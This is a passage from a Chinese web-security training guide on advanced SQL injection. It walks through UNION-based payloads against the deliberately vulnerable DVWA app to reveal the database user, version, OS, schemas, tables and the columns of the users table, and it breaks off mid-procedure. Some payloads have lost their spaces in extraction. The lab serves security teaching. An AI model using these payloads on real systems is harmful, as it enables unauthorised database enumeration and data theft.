基本信息
文件名称:Web安全与防护 实训指南 3.2SQL注入的高级利用.pdf
文件大小:298.89 KB
总页数:6 页
更新时间:2025-03-07
总字数:约2.76千字
文档摘要

SQL注入的高级利用

【实训目的】

1、掌握MySQL元数据库information_schema的作用。

2、掌握UNION查询的应用要求。

3、能够利用SQL注入漏洞查询数据库的表名、字段名称与值。

【实训原理】

元数据是描述数据的数据,因此可利用元数据实现查询相关数据的目的,结

合union查询,利用SQL注入漏洞可查询数据库的表及字段值。

【实训步骤】

步骤一、分析SQL注入漏洞所在页面功能。

登录DVWA系统,选择左侧“DVWASecurity”中的low级别,再单击左侧

的“SQLInjection”。

步骤二、获取连接数据库账户信息、数据库名称、数据库版本信息。

利用union查询获取相关信息,union查询要求前后两个查询的列数要相同。

我们现在不关心union关键词前面查询语句查出的值,可以利用条件,如“and

1=2”让其不显示,在union关键词后面利用内置函数user(),及database(),version()

注入得出连接数据库用户以及数据库名称。

1.在UserID输入框中输入:1and1=2unionselectuser(),database()--显示

如下信息:

图3-6DVWA注入user()函数结果图

说明连接数据库的用户为root@localhost,数据库名称为dvwa

通过注入得到数据库名就成功了一半了。

2.利用version()函数,尝试得到版本信息,输入:

1and1=2unionselectversion(),database()--将得到如下信息:

图3-7DVWA注入version()函数结果图

可以查询到当前SQL版本是5.5.53。

3.利用concat_ws函数一次性查出所有信息。

在输入框中输入:

1and1=2unionselect1,concat_ws(0x2c,user(),database(),version())--

图3-8DVWA注入concat_ws()函数结果图

可以看到用户名、数据库及版本号。

步骤三、获得操作系统信息。

在UserID输入框中输入:

1and1=2unionselect1,@@global.version_compile_osfrommysql.user--

图3-9DVWA注入版本函数结果图

可见操作系统为win32版本。

步骤四、查询MySQL数据库中的各个数据库的信息。

在UserID输入框中输入:

1and1=2unionselect1,schema_namefrominformation_schema.schemata--

图3-10DVWA被暴库结果图

可以看到MySQL数据库中的各个数据库的信息。

步骤五、查询指定数据库中的表。

information_schema.tables表给出关于数据库中表的信息,在此查询DVWA

数据库中的表。在UserID输入框中输入:

1and1=2unionselect1,table_namefrominformation_schema.tableswhere

table_schema’DVWA’--,将显示如下信息:

图3-11猜测DVWA数据库中表的结果图

可见DVWA数据库中有guestbook、users两个表。

步骤六、查询指定表的所有字段。

在UserID输入框中输入:

1and1=2unionselect1,column_namefrominformation_schema.columnswhere

table_name=usersandtable_schema=dvwa--

图3-12猜测DVWA数据库中user表的字段